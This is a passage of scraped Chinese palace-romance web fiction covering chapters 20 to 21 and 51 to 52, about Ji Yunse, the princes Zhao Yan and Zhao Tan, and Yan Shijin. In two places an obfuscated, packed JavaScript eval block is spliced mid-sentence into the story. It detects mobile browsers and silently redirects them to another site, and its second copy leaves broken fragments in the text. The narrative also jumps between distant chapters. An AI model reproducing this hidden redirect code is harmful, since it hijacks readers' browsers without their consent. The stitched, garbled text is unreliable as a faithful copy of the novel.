这样的话,赵峥也能置身事外。 虽然,若是诬蔑她和赵峥有什么,被人不耻的多半是身为女子的她,赵峥不过是被嘲笑些时日而已。 但换了赵檐的话,他身为永安帝的亲生皇子,觊觎可能会被自己父皇纳为嫔妃的女子,便能算得上是大逆不道了! 玉晓跟上来还想拦她,纪云瑟已经迅速敲响了院门。 门开后,纪云瑟浅浅一笑,道: “我想见蔚王殿下,烦请公公通传。” 正巧开门的是赵檐的贴身内监,看见是她,惊喜道: “呦,这不是纪姑娘么?您快进来,奴才这就去告诉主子!” 他一直跟着赵檐,心知自家主子对这女子的心思,也知主子这几日没见着人,心里正不痛快着。 如今美人自己送上门来,他咧着嘴忙不迭地应声,立刻回屋禀报了去。 玉晓不情不愿地跟着纪云瑟步入院内,须臾,一个绛色人影从正屋走了出来。 赵檐听了通报原本不信,毕竟这些时日纪云瑟明显故意避开他,谁知出来果然见着了美人袅袅立在院内,眼睛顿时放光,三步并两步地靠近她,欣喜道: “云瑟!” 纪云瑟敛去眼中微不可察的厌恶,垂眸屈膝道: “见过蔚王殿下。” 赵檐将她扶起: “免礼免礼。” 又跟在她身后行礼的玉晓敷衍地摆了摆手,面向纪云瑟关切道: “听说,今日你骑的马受惊发狂,你没有受伤吧?” 纪云瑟摇了摇头道: “臣女没事。” “倒是涟亲王世子为了救臣女,手受伤了。” 她抬眸看了一眼赵檐,将手中的琉璃药瓶在他面前晃了晃,继续说道: “故而,公主让臣女给世子送药。” 赵檐抬头看了一眼已经黑透的天色,皱眉道: “阿昭让你去送?” 那日出发到灵岩寺时,他就看出了赵峥对纪云瑟的殷勤,若不是今日他恰好有事外出,绝不会让那小子靠近他看上的女人。 纪云瑟垂眸点了点头,小心看了一眼玉晓,怯声道: “可是,臣女觉得天色已晚,此刻去找涟亲王世子,怕多有不便。” “那是自然!” 赵檐没有犹豫,当即吩咐身旁的内监: “你去,将药送给赵峥。” “让他好好养伤,这几日,少出外走动!” 内监会着他的意思,接过药,答应着去了。 纪云瑟微微欠身,道: “多谢殿下!” 又向玉晓道: “烦请回去禀告公主,药已经送去了。” 赵檐见玉晓还站在那里,一副想说什么却又什么都不敢言的模样,不耐烦道: “你杵在这里做什么?还不快去?” 虽然那日在太后面前,母妃发现了他对纪云瑟的心思后,就训斥了他,并警告说,蔚王妃的人选已经在与父皇商议中,让他好好收心,准备大婚立府。 特别是不能沾染如今虽身份不明,但在太后眼里,已经把她当半个儿媳的纪云瑟。 但他实在无法放弃这个桃羞杏让的美人,总不过得手后,他不认便罢了,这种事,除非捉奸在床,还能留下什么证据么? 见玉晓看了一眼纪云瑟,不情不愿地躬身退了出去后,赵檐命人关上了院门,拉起纪云瑟的手,放在掌心不住地摩挲,带着几分埋怨低声道: “这几日,你是不是在躲着本王?” 纪云瑟抽回自己的手,径自行至一旁的石桌边,故作嗔怪道: “臣女还没问殿下,可有去向陛下求娶臣女呢!” 赵檐迟疑了一瞬,随即道: “说了,本王已经跟父皇说过了。” 纪云瑟一看他闪烁不定的眼神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156315|180574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,便知他是随口编个谎话糊弄自己,别说他没这个胆子,就算他真对自己动了心,英勇一回,夏贤妃也绝不会允许他这么做! 但她假装十分期待道: “哦,陛下答应了么?” 赵檐轻咳了两声,扯了扯嘴角说道: “父皇这些时日忙于政务,还未,还未回复本王呢!” 他行至纪云瑟身边,又拉起她的手,握在手心: “本王既允诺了你,自然会做到,你放心!” 说罢,便想靠近她。 纪云瑟一把推开他,面上十分委屈: “可臣女怎么听说,殿下要另娶她人?” 赵檐怔了怔,提高了声量: “哪个王八羔子乱嚼舌根?本王割了他舌头!” “你千万别信!” 他凑近了纪云瑟,搂着她的肩膀,柔声哄道: “本王心里只有你一个,怎会娶别人?” 说罢,嘴已经靠了过去,纪云瑟又推开了他,环顾了一圈四周,道: “殿下也不看看这里是什么地方!” 她起身向他微微屈膝,道: “臣女该走了,公主知晓臣女在殿下这里,若是回去晚了,定会怪罪。” “说不定,还会来寻臣女。” 这倒是赵沐昭能做出来的事。 她不会允许纪云瑟堂而皇之地勾引自己亲哥,玉晓回去一说,她定会过来阻挠。 纪云瑟也是念及此,才敢故意当着玉晓的面来找赵檐,因为赵沐昭自会亲手把她从这里“救”出去。 但是,她却低估了赵檐的色心。 他拉住了纪云瑟,一把搂入怀内,笑道: “急什么,本王还没跟姑娘好好说话呢!” 他使了个眼色,院内所有的内监会意全部退下,还贴心地关上了院门。 纪云瑟忙用力挣脱: “不行,殿下,公主,公主她……” 赵檐将她紧紧箍住,道: “不用怕,她进不来!” 纪云瑟暗道一声不好,定了定神,不再挣扎,假意伏在他怀里,按住他挨近的脸颊,柔声道: “急什么嘛!臣女走了半日,口渴了,殿下先帮臣女倒一碗茶来,可好?” “好,你等着。” 赵檐此刻已经被色欲冲昏头脑,不疑其他,即刻进入房内。 纪云瑟紧紧盯着他的背影,快速从袖口中拿出包了迷药的纸笺,打开后用小指丹蔻挑了一些出来,又立刻包紧藏好,再迅速将鬓上的一支发簪往外拔松了些。 为保清白,她只能这么做了! 赵檐亲自端了一碗茶过来,纪云瑟笑盈盈地接过: “多谢殿下。” 她饮了一口,头微微一歪,碧玉发簪瞬间落地。 “哎呀!” 正欲俯身,赵檐按住她,道: “别动,本王来。” 他蹲下拾起,小心吹了吹灰,亲手给她插了回去。 纪云瑟扶了扶发鬓,淡笑一声: “多谢殿下。” 她将手中的茶碗递了过去,歪着头言笑嫣嫣: “殿下亦口渴了么?” 赵檐看着碗沿留下的鲜红唇印,和美人的含情目,早已心神荡漾,伸手来接她手里的茶碗。 就在纪云瑟凝神静气,将加了迷药的茶水递给他时,院门外突然传来一阵喧哗。 响起一个熟悉的男子声音: “你们主子呢?可在里面?” 21. 第 21 章 却是裕王赵檀。 门外的内监小心回复:“禀裕王殿下,主子有事出去了。” 赵檀的声音有些不耐: “这里荒郊野岭,大晚上的,他能去哪里?” 内监恭敬回道:“主子没有明说,奴才们也不知。” 纪云瑟却在院内惊得花容失色,慌乱道: “是裕王殿下,怎么办?” “若是被他看见臣女在此,怎么得了?” 赵檐低声安慰道: “不怕,咱们进屋去,他们既说本王不在,二哥自然不会进来。” 他正要拥着纪云瑟往前走,却没料到这位美人如此不经吓,失手就将手里的茶碗打碎在地,还惊叫了一声: “哎呀!” 赵檐看着来不及捂着自己嘴的纪云瑟,蹙了蹙眉,随即就听见门外的赵檀怒斥道: “不是说你家主子不在,里面没人么?这又是什么声音?” “莫不是见了鬼?” 内监忙道: “主子,主子他确有事,奴才,奴才不敢扯谎!” 赵檐听出了赵檀口中怒意,他清楚这位兄长的脾性,必是要闯进来了。他略思索一瞬,便带着纪云瑟行至院内后门,打开门说道: “你先从这里回去,本王应付完二哥,立刻去找你!” 纪云瑟答应了一声,往外看了看,见四周无人,迅速离开。 门外的几个内监跪在地上向怒气冲冲的赵檀不住地磕头: “裕王殿下息怒!” 赵檀气不打一处来: “反了天了!” “本王找自家兄弟说话,你们敢拦?” 内监道: “奴才不敢,实在是,是主子他……” 赵檀怒起一脚踢了上来: “还不滚开?” 几个内监只伏在地上,死死挡着门,一动不敢动。 院门突然从里面打开,赵檐走了出来,不慌不忙拱手道: “呦,二哥怎么来了?” 赵檀看了他一眼,面上春色尚未散去,又结合刚才女子的声音,便猜到了他在里面做什么,轻哼一声: “三弟真是有闲情逸致呐!” 说罢,也不等他开口,径直越过了他,进入院内。 赵檐无奈地耸了耸肩,跟在他身后,二人进入正房,赵檀自行坐在主位上,赵檐度着他的脸色,坐在他的一旁。 内监捧了茶水上来,赵檀摆摆手: “你们都出去。” 跟在他身边的内监率先行礼告退,其他人也听从赵檐的示意退下,带上了门。 赵檐饮了一口茶,面露一丝诧异道: “不知二哥急着找我,有何大事?” 赵檀转头看向他,面色沉戾: “你真的不知道?” 赵檐见他一副兴师问罪的架势,放下手中的茶碗,淡笑一声道: “弟弟若有什么做得不周的,还请二哥明示。” 赵檀斜睨过来,开门见山道: “姓吴的两兄妹,你藏哪里了?” 赵檐面露愕然,不解道: “吴?什么姓吴的?二哥说的是谁?弟弟不知。” 赵檀见他一副故作无辜不解的模样,气不打一处来,一掌拍在桌上,怒道: “不是你让人把他们从庐州接到京城的么?” “还装什么糊涂!别以为,我不知道你想做什么!” ~ 夜色如墨,两匹快马飞驰在官道上,片刻后到达灵岩寺后的别苑门口。 两名身着曳撒的高个男子一跃下马,早有候守的羽林卫接过二人的缰绳将马匹牵去马棚。 一直守在门口处的紫电和青霜立即迎了上来,青霜眼尖,一下看到了为首的男子,衣袖和衣襟的前片沾了一些血迹,着急道: “世子,您受伤了?” 晏时锦顺着他的目光看过去一眼,摆摆手: “不是我的。” 紫电松了口气,又问道: “到底是谁?如此胆大,竟敢跟世子您动手?” 晏时锦环顾了一圈四周,低声道: “回去再说!” 几人行至值房,晏时锦将通州之行的见闻简明扼要地写了一封奏疏。 跟他同去的羽林卫统领谢绩,向紫电青霜二人,绘声绘色地描述了一番这两日的行程。 紫电忿忿道: “我猜,他们就是已经知晓了主子的身份,才狗急跳墙,意图谋害主子!” 谢绩摇了摇头,道: “我倒不这么认为,他们恐怕只猜到我们是京城来的,而且是陛下的人,至于指挥使的具体身份,他们应该并不知晓。” “这样的刺杀,多半有试探的成分。” 青霜细思片刻,也说道: “不错,若是他们知道主子身份,就不会派几个只会三脚猫功夫的饭桶来动手了!” 晏时锦搁下笔,将奏疏密封,交给青霜: “明日一早,你亲自跑一趟,送到养心阁。” 青霜答应着,将密折收在胸口。 晏时锦又问道: “吴氏兄妹安顿好了么?” 青霜奉了一碗茶过来,放在他面前,道: “已秘密安置在京卫司衙门,但他们一直说要见世子您。” 晏时锦饮了一口,道: “不必见,你让人告诉他们,吴老三不会有性命危险,但事情不会那么快解决,要他们耐心等一段时日。” 紫电早已出去提了个食盒进来,说道: “世子,这是太后听闻您今日回来,特地叮嘱给您留的消夜。” “属下刚才特地热过了,您请用吧!” 谢绩听说,捂着早已咕咕叫的肚子,忙凑了过来,闻着香气,忍不住道: “指挥使,属下也未用膳,不知可否……” 见晏时锦斜睨他一眼,浑身一凛,忙抱拳道: “是属下冒犯了,这毕竟是太后娘娘的一番心意,还是请指挥使用吧。” “您自己用!” 紫电揭开盒盖,取出了上层的一大碗肉酿金钱汤,和下层的一碟滴酥水晶脍,一碟攒馅馒头,一看就是宫里的御厨常做的,也是太后觉得他平日里爱吃的口味。 晏时锦看着他将所有的东西摆在案桌上,探头往食盒里又瞧了一眼,道: “就这些?” 紫电扯了扯嘴角,试探着问道: “这些还不够?” “那,属下,再去给您要一些?” 他怎么记得自家主子对吃食从未有过什么讲究,而且,食量也不算大啊?这是太后吩咐准备的,她老人家总担心主子吃不饱,这么多都已经超量了。 晏时锦轻咳两声,垂眸道: “不必了,够了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156316|180574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “再去添一副碗筷。” 又向一旁欲离开的谢绩,道: “你过来,一起吃。” 谢绩: “……” “是!” 谢绩每一样都吃了好些,不住地感叹宫里的吃食就是精致,色香味俱全。 晏时锦略用了一些,放下碗筷,饮了一口茶后,向紫电青霜二人问道: “这两日,寺里可有什么事,太后身子如何?” 紫电道: “太后娘娘一切都好,就是,纪姑娘出了事。” 男子端着茶碗的手顿在半空,黑眸微不可察地收缩了一下,皱眉问道: “什么事?” 紫电瞧出了自家大人的担忧之色,忙回道: “纪姑娘没有受伤,大人请放心。” 晏时锦一脸不耐地看向他,紫电忙将经过详细描述了一遍: “属下已经找到了马的尸体,细细查过,并未发现什么疑点。” “马突然发疯的现场亦看了,也没有可疑之处。” “围场纷乱,全是草地,马蹄印和人的足印繁多复杂,就算有什么,也早已掩盖了,哪里有那么容易查到。” 晏时锦细思一瞬,又诧异道: “你说,赵峥因此受伤了?” “人是你救的,他为何受伤?” 紫电小心觑着他脸上的不悦,小心翼翼道: “涟亲王世子是受小郡主所托,教纪姑娘骑马,恐怕是马刚刚发狂时,想救纪姑娘被缰绳割伤。” 晏时锦不置一词,看向尚在囫囵饕餮的谢绩: “还没吃完?” 谢绩将碗里的汤喝尽,用袖口擦了擦嘴,道: “吃完了,多谢指挥使!” 晏时锦扫了他一眼,道: “吃完了就赶紧查案去。” “这种事,不用我亲自走一趟吧?” 谢绩起身抱拳: “属下这就去,不必指挥使费心!” 晏时锦点点头,语重心长道: “虽未伤及什么人,但此事必须引起重视,无论是有人蓄意或只是意外,都必须有个结果!” 他顿了顿,又补充道: “防患于未然,若是下次伤到哪位皇室宗亲,你我都吃不了兜着走!” 晏时锦安排好一切,回到休息的厢房时,已近子时,他脱下外衫,进入湢室中。 今日返程时,遭遇了几个杀手埋伏,皆是武功高强之辈,他们解决得不算太顺利,毕竟他身上竟然沾了他们的血。 他素来喜洁,尤其厌恶他人的血腥之味。 紫电知晓他的习惯,为他在湢室中备好了放凉一些的热水,问过他没有别的吩咐后方离开。 他不喜泡澡,向来都是直接冲洗。 用浴帕擦干水后,晏时锦套上中衣,随手绑了腰上的系带,从湢室出来时,却看见自己房内莫名多出一个熟悉的纤袅身影,定定地站在案桌旁,愣愣地看向他。 又是她! 而且看起来,她已经进来一会儿了,定是刚才水声大,自己没有察觉。 见他衣衫不整地走出来,那女子愣了愣神后,竟然先行去把她擅自打开的厢房门,立刻关上了! 晏时锦: “……” 他抓起搭在衣桁上的外衫,迅速撑开穿在身上裹紧,冷声道: “你为何在此?” 50-60 第51章 纪云瑟本能的摇头: “不可能!” 她昨日除了被这厮吻得快要窒息喘不过气来时,有些迷糊,其他的时候都是清醒的,根本没跟他说过什么话,这厮明显是趁人之危,以为她真是什么都不记得,故意如此说。 晏时锦一脸笃定: “你亲口所言,千真万确。” 她默默翻了个白眼,没好气地辩解道: “世子也知我昨日中了药,神志不清,连自己姓甚名谁都忘了,纵然说了什么,也算不得数吧!” “我看未必,昨日我一直唤你的名字,你都应了声。” 晏时锦淡然看向她: “而且,你拉着我不让我走,又紧紧抱着我不放,还主动亲我时,一口一个‘世子’,叫得极其清楚明白,一点都不像神志不清之人。” 纪云瑟: “……” 他俯身靠了过来,黑眸微眯: “莫不是,你想反悔?” 事到如今,她休想! 此刻的纪云瑟当然不想与他谈什么婚嫁,她也从未想过要嫁给他。 从前,她的确是打算利用晏时锦离开皇宫,故而刻意招惹他,但端阳宴之后,她已经确定,永安帝不会纳她,经过昨晚之事,裕王和蔚王也跟她没有了任何可能。 等永安帝正式册封了雪沅,太后定然就会放她出宫,所以,她不需要再靠这位国公世子。 她不想与皇室成员扯上关系,也不想嫁到门阀森禁的国公府,困在那个只能看见一小方天的豪门后宅。 何况,这厮说得轻巧,他家中还有父母长辈,婚事他自己能做主么?堂堂晏国公府,怎么可能瞧得上她? 就算不嫌弃她,允了她进门,但是,她见过他家那位老太太,可不是什么慈眉善目好相与之人,而且,他们府里叔伯兄弟又多,除了要应付长辈公婆,后宅还有一堆婶子妯娌,想想都头疼。 看着他深邃如墨点一般的肃厉黑眸,一副似被她始乱终弃的不悦神色,纪云瑟突然联想到了他从前的冷漠疏离,轻哧一声,道: “世子为何对我的态度转换得如此快?从前,你可是对我避之不及呢!” 她凝眸看着他,幽幽道: “莫不是,世子早就对我有意,跟我玩什么欲擒故纵的把戏吧?” 又是这样熟悉的促狭目光,一副刻意要把他惹恼的狡猾小模样,晏时锦垂眸看向她,声色平静道: “就算是吧,所以,你我是早就心意相通了?” 纪云瑟: “……” 这厮…… 比她还要厚颜无耻几分! 她从前真是看错了他!竟然会以为他不近女色?! 但纪云瑟最是个识时务之人,见他今日态度坚决,想着跟他也争辩不出什么,便放弃了。如今最重要的,是不能让他立刻将这事回了太后。 若是如此,她就真的一点退路都没有了。 刚刚能逃离后宫这个鬼地方,又有个国公府后宅等着她,她还要不要活了? 纪云瑟思虑一瞬,挤出一抹笑,道: “哎呀,就算要告诉太后此事,也不该你去说嘛!” “让我自己禀明太后,好不好?” 分明是争辩不过,又换了这般撒娇求人的模样,鉴于她刚才根本不想认的态度,晏时锦不是很信她: “你会去说?” 纪云瑟面露十足的真诚,点点头,道: “对!” “太后如此疼我,我的人生大事,自然要自己主动跟她说明白。” 她似十分认真地想了想,试探着问道: “但是,你能不能给我一些时日?一则,怕太后一时难以接受,再则…” “我虽心悦于你,但,我还没有做好准备,与你…嗯…议亲。” “既然我们心意相通,我觉得,我们也不需要这样急,你说对不对?” 晏时锦听见了几个关键字,眸光微动,想着这种事,似乎也不应该太仓促,待陛下向太后表明了真实心意再说方不显他的僭越之心。况且,她毕竟是个姑娘家,有几分羞涩矜持才是正常的。 但是,他依旧不太放心,她心性不定,又十分招人,拖久了难免不会夜长梦多。 “虽是如此,但…” 纪云瑟见他一脸犹豫,似根本不信她的模样,心下一横,踮起脚尖吻了上去。 唇瓣瞬间贴合,晏时锦怔了一瞬,双手不自觉就要揽住她的腰时,粘腻的触感骤然消失。 纪云瑟笑眼弯弯看向他: “好不好嘛?” 思绪还未跟上,晏时锦已经点头,道: “好。” 罢了,在他的眼皮底下,她跑不了。 纪云瑟默默松了一口气,见他终于要去开门,忙拉住他指了指他的嘴,道: “你这里,沾了我的唇脂。” 说罢,将自己的绢帕递给了他。 晏时锦看着她手上的这方与家中一模一样的帕子,面不改色地接过擦了擦,自然而然地收入衣襟处,打开了门。 紫电对自家主子出来时,从耳朵到脸颊微微泛红已经见惯不怪,躬身上前道: “世子,太后娘娘已经醒了。” 晏时锦道: “好,我进去瞧一瞧。” 他回头看向身后的少女,纪云瑟眼皮一跳,忙道: “我突然想起有些事要找周嬷嬷问问,世子,你先去吧,我随后…随后就来。” 晏时锦应了一声,随即进入正殿,紫电跟了过去在屋外掀帘子。 纪云瑟见青霜候在原处,环顾四周无人后,小心翼翼地上前,悄声问道: “不知,昨夜的那桩案子,审得如何了?” 青霜自昨晚后,已经抓住紫电细细逼问一通,知晓了这位侯府小姐在自家主子那儿的分量,忙恭敬道: “禀姑娘,宫正司已审问了长春宫掌宫何氏,她承认是一时鬼迷心窍,用合欢之药迷晕蔚王殿下,做了那等见不得人之事。” 纪云瑟一时有些疑惑: “她没说其他的?” 青霜道: “其他的?姑娘的意思是…” 纪云瑟淡笑一声: “没有,我就是随便问问。” 不过,她立刻就想明白了,何掌宫没有提起她,是不敢给自己加一个祸害她这个侯府小姐的罪名,更不能暴露出夏贤妃有意陷害她的心思。 如此,纪云瑟也松了一口气,她哪还有心情去看太后,匆匆忙忙地就往宫外走。 低着头步出宫门时,却不小心撞上了一个人,她抚着有些撞痛的额头抬眸一看,竟是沈绎。 沈绎温声问道: “没事吧?” 纪云瑟讪讪笑了笑: “没事。” 沈绎深深看了她 一眼,道: “昨日,你……” 纪云瑟挤出一抹有些难看的笑容: “多谢夫子,昨日给我吃了药后,我就没事了。” 可他给她喂药时,分明她是“昏迷”着的…… 沈绎微微叹了口气,道: “那就好。以后,要当心些。” “宫里…人情复杂,知人知面却不知心。” 他意有所指,纪云瑟却也不想深究,乖巧地点点头,又问他能否配一些祛暑之药,最好是不苦的。 沈绎诧异道: “你有中暑的症状么?若是有什么不适,让我看看你的脉象后再配药更好些。” 纪云瑟摇摇头,道: “不是我,是雪沅。” “今早,我见她似有些不舒服,恐怕是热着了,想给她送些汤药过去。” 沈绎思及今日一早去勤政殿给永安帝请平安脉时,正巧碰见孙雪沅从寝殿出来,神色有些羞涩慌乱,他便明白了几分。 “我想恐怕不用你去送。” 纪云瑟了然地点点头: “对,她应该自己寻太医了。” 沈绎顿了顿,终是小声说道: “想必,册封孙姑娘的旨意马上就会下来。” 纪云瑟愣了一瞬,随即听懂了他说的意思,问道: “真的?” 沈绎瞧着她霎时冒着亮光的双眸,唇角也不自觉勾起,笃定地点了点头。 有人欢喜有人忧,夏贤妃在长春宫听完贴身宫女鸣蝉的回禀,一时慌乱,猝然起身,竟连手中的茶碗都没有握住,“哐当”一声落下,茶水撒了一地。 她一脸的难以置信: “你说的,是真的?” 虽然永安帝在端阳过后这两日并未有什么动静,但夏贤妃总是不放心,吩咐了宫人小心留意勤政殿,却没料到得到这样一个让她大惊失色的消息。 鸣蝉道: “奴婢不敢妄言,江公公吩咐尚服局悄悄准备的,的确是贵妃服制的册封礼服。” 夏贤妃只觉一阵寒意袭来,在这五月的天气里,冻彻心扉。 鸣蝉小心翼翼地劝道: “娘娘,或许,是陛下觉得娘娘您兢兢业业打理后宫十多年辛苦了,要册封的是娘娘您呢?” 夏贤妃捂着骤然疼起来的胸口,斜睨她一眼: “你觉得,陛下会在刚刚训斥了檐儿后,又来册封本宫么?” 她不会傻得痴心妄想到如此地步,永安帝这些年对她的疏远,和对赵檐与曦和两个孩子的日渐冷淡,她不是看不出来,所以,她才会加紧筹谋,聚夏家全族之力,为赵檐争夺储君之位。 永安帝若是个念旧之人,就不会十来年不入后宫。所以,这个贵妃之位绝不是给她,更不会给其他那些平日里连皇帝的面都见不着的后宫旧人,定是要册封新人! 贵妃,竟然是贵妃?! 到底是怎样的宠爱,会让那个素来沉稳内敛的帝王,给一个刚入宫的小丫头片子高于后宫所有人的位份? 那她这十几年来一步一步的打拼又算得了什么?以后,若是那丫头诞下皇子,这皇宫还会有他们母子几人的容身之处么? 夏氏冷笑了几声,随即很快平静下来,吩咐道: “若是真要封妃,必然不会只准备衣裳,宫殿、印、册,你悄悄的,都去给本宫探明白了!” 第52章 寿康宫,红木座螭纹夔身铜熏香炉青烟袅袅,永安帝侧坐在床榻上,一口一口地喂太后喝米粥,太后勉强吃了几口,摆摆手,道: “搁这儿吧,我等会儿再吃。” 永安帝看着她苍白的脸色,劝道: “母亲该多吃一些,身子要紧。” 太后瞥了他一眼,叹道: “我知道自个儿的身体,估摸着也就是今年了。” 永安帝皱着眉头道: “母亲莫要如此说。” “沈绎的针灸不错,他来了之后,您不是好了许多么?” “您会长命百岁的。” 太后轻哧一声: “这话,骗骗别人就罢了,你也会当真?我才不想自欺欺人。” 她稍稍直起了身子,指了指不远处月牙桌上的茶盘: “给我倒杯水,我漱漱口。” 永安帝依言,亲斟了茶盏奉上,见太后喝了一口含在嘴里,向他抬了抬下巴看向不远处的漱盂,方后知后觉地去端了过来,捧在她面前。 太后用帕子遮着吐出,擦了擦嘴,又看向永安帝,见他一脸疑惑却没有反应,无奈指了指案几上的青瓷盖碗,道: “那才是喝的茶。” 永安帝忙又去端了一杯热茶过来,自笑道: “是儿子笨,疏忽了。” 太后深深叹了一口气,只得道: “罢了,你是皇帝,原也不该做这些。” 永安帝接过她手中喝过的茶碗放在一旁的小几上,道: “儿子首先是母亲的儿子,服侍母亲天经地义。” 他扶着太后往下躺,又给她整理靠垫,却是摆弄了许久才让太后觉得舒服些。太后轻叹一声,忍不住道: “你们哪,说是照顾我,分明是来折磨我的。” “说来说去,就只有纪丫头有个照顾人的模样。” 永安帝无奈苦笑一声。 太后看着他片刻,终是问道: “她真的不合你的意?” “或者,你们相处一段时日,试一试呢?那孩子,着实不错。” 永安帝为她掖了被角,道: “母亲若是真心疼那孩子,就不该硬把她塞入后宫,反而害了她。” 太后方明白了他的意思,忍不住带着些许怒意问道: “为何?那孩子天仙一般,样貌品性是拔尖儿的,出身也不差,哪一点配不上你?哪一点不惹人爱?” “就因为她是我给你选的?所以你就不想喜欢?” 说罢,有些气急,剧烈地咳嗽起来。 永安帝扶起她为她轻轻顺着后背,待她平复下来,又端过了茶水小心喂太后喝下,为她加了一个引枕垫在腰背处,方道: “儿子绝无此意。儿子知道,母亲并无私心,您一心只为了儿子着想。” “知道就好!” 太后看了他一眼,默了默,又苦口婆心道: “当年,我和先帝,不也是世宗皇帝指婚?那么多年,有了你大哥和你妹妹,几时红过脸?还有你和皇后,虽是先帝定下的,但你们相处过来,也是好的。” “你不去了解,怎知不合适?” “不是谁都能像您和父皇一般,有那样的缘分。” 永安帝看着太后花白的鬓发和眼尾的皱纹,并未提他和皇后的过往,只得幽幽叹气,道: “母亲,儿子今年已经三十八,不再是小孩子了。” “虽说每日被人叫着万岁,但儿子清楚,人这一生,也就是那短短的几十年。” “母亲,剩下的时日,儿子想和自己喜欢的人,相伴到老。” 太后听了这话,终是没有再反驳,沉默片刻后,缓缓道: “既然你有这想法也好,你年岁不算大,身边,总要有个知冷热的人。” 永安帝见时机已到,也不遮掩,直言道: “不瞒母亲说,儿子心里已经有人了。” 太后瞪大了眼睛,不自觉直起身子: “是谁?” 见他欲言又止的模样,太后心里倒有些打鼓: “怎么?是正经人家的姑娘吧?” 永安帝哭笑不得,忙道: “那是自然!母亲想哪里去了?” “不过是,她或许没有做好准 备。” 太后松了口气,缓缓地靠回引枕上,看着自己的老儿子说起心上人竟是一副怕羞的模样,大致就明白了这姑娘在他心里的地位。 若是换了从前,皇帝看上了谁,左不过是宠幸了之后赏个位份罢了,如今,他能顾及姑娘的想法不敢造次,想必是真的走了心。 虽不是她选中的姑娘,但看他终是老铁树开了花,也算是有几分欣慰,但太后面上还是有些不悦,问道: “到底是哪家的?” 永安帝思索了一瞬,道: “还是等她想明白了,再告诉母亲吧。” “到时,儿子带着她一同来给母亲磕头。” 太后没好气地瞟了他一眼,揶揄道: “怎么,在我这儿还保密呢?” “你是怕我拆散你们,还是怕我知道了,会折磨你的心上人?” 永安帝无奈笑道: “母亲何出此言?您不是这样的人。” 太后的话从口出,自己也愣了愣,她自问不是个恶婆婆,皇帝后宫的嫔妃,她从未苛待过谁,但见自己养大的儿子如此护着一个女子,还是心里不是滋味。 连她这样素来自以为深明大义通情达理之人,见儿子稍微有些偏向自己喜欢的姑娘,都会有这种想法,可以想见,那些有婆媳矛盾的人家,倒是理所当然了。 她往后靠了靠,微微眯起双眼,平静了神色道: “你是个做了祖父的人,做事自然有章法,既已经有了人,就尽早册封,别闹出什么笑话来。” “与你无益,更别害了人家姑娘!” 被自己亲娘如此戏谑自己年纪大,永安帝当真是毫无办法,他只能苦笑着摇了摇头,一脸无奈,道: “母亲放心,儿子心里已有数。” 太后此刻的心情有些复杂,也不想跟他装什么母慈子孝了,向他摆了摆手,道: “你去罢,我睡一会儿。” 永安帝又照例叮嘱了刚被唤进来的周嬷嬷几句,方依言离开。 周氏一直在珠帘后,自然全部都听见了,她一面收拾案几,一面微微叹着气,见太后睁开了眼,犹豫了一瞬,小心问道: “娘娘,看陛下的意思,是不可能会纳纪姑娘了。” “您打算……” 太后捏了捏有些胀痛的额头,道: “先让她待在宫里罢,若是这样回去,也不是个事儿。” “你帮着留心打听打听,瞧一瞧,给她找个好人家。” “是。” 周氏答应着,扶着太后躺下,又劝慰道: “娘娘您也别忧心,纪姑娘模样性情好,又有您心疼撑腰,必能寻得良配。” 太后幽幽叹气,道: “若是栩儿还在,哀家何曾要做这些惹皇帝恼?两个孩子年岁辈数相当,让这丫头做哀家的孙媳妇岂不好?” 周氏见她又想起了皇长子,忙开解道: “娘娘,事情都过了这样久,您别想这些自苦了!” “好好保重身子是首要,您还有那么多孙子孙女呢!” 太后的目光怔怔地落在窗棂上,透过碧纱看向窗外的树影,忍不住落泪,道: “你说,这是不是哀家的命?” “我的璋儿早早的走了,皇帝的长子又是如此!” “璋儿,他才六岁啊!那时,我还怀着玥儿,吃不下睡不了,害得玥儿生下来就身子不好,好不容易长大成婚,终是因生产后体弱,又离我而去,只剩下皇帝一个孩子……” “娘娘,这些怎能怪您呢?” 周氏看她愈发提起了先太子和长公主,忙又上前劝慰一番,在香炉内加了几片安息的药香,太后终是在她的安抚下,睡了过去。 长春宫的夏贤妃这几日却是怎么都睡不着,素来给她看诊的太医署汪太医给她请了脉后劝道: “娘娘您是焦虑过甚导致心火过旺,心神不宁,脉象细弱,夜不能安寐。需静心养神,避免思虑过度。微臣给您开几剂安神补心的药,娘娘按时服用,再配合每日按揉内关穴,有助于宁心安神。” “汤药是其次,娘娘需静心少思,方能调和心气。” 夏贤妃躺在美人塌上,微阖双目,道: “本宫知道了。” 汪太医拟了方子后,见她一直抚着额头,又道: “娘娘若是头疼,或者,可以考虑针灸。” “新来的沈太医最是擅长……” “不必!” 夏贤妃只听见“针灸”二字,便飞快地打断了他,摆摆手,道: “你去吧!速速把药送来就是!” 不多时,鸣蝉匆忙回宫,行了礼后至她身旁,悄声道: “娘娘,都打听清楚了。” 夏贤妃睁开眼,拧着眉心,道: “说。” 鸣蝉咬了咬唇,终是开口道: “勤政殿的口风十分紧,江公公亲自吩咐的事,尚宫局的人也不敢随意透露。奴婢打听不到关于印、册之事,但奴婢已经问到,陛下吩咐了宫人悄悄修缮凤仪宫。” “凤……” 夏贤妃“噌”的一下起身,大惊失色,一下抓住她的双肩: “你说什么?” 鸣蝉吃痛却不敢言,只笃定道: “奴婢不会弄错,就是凤仪宫。” 